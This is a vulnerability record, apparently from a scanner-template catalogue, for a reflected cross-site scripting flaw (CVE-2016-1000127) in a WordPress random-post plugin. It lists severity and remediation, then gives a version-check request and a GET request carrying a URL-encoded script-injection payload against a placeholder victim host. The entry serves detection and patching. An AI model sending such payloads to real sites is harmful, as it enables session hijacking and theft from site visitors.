| Title | WordPress AJAX Random Post <=2.00 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress AJAX Random Post plugin (2.00 or higher) to fix this issue. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02196 |
| CVE ID | CVE-2016-1000127 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin ajax-random-post_project vuln |
WordPress AJAX Random Post 2.00 is vulnerable to reflected cross-site scripting.
GET /wp-content/plugins/ajax-random-post/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-1000127.yaml
🦈 Packet Capture: ⬇️ Download cve-2016-1000127.pcap
N/AN/A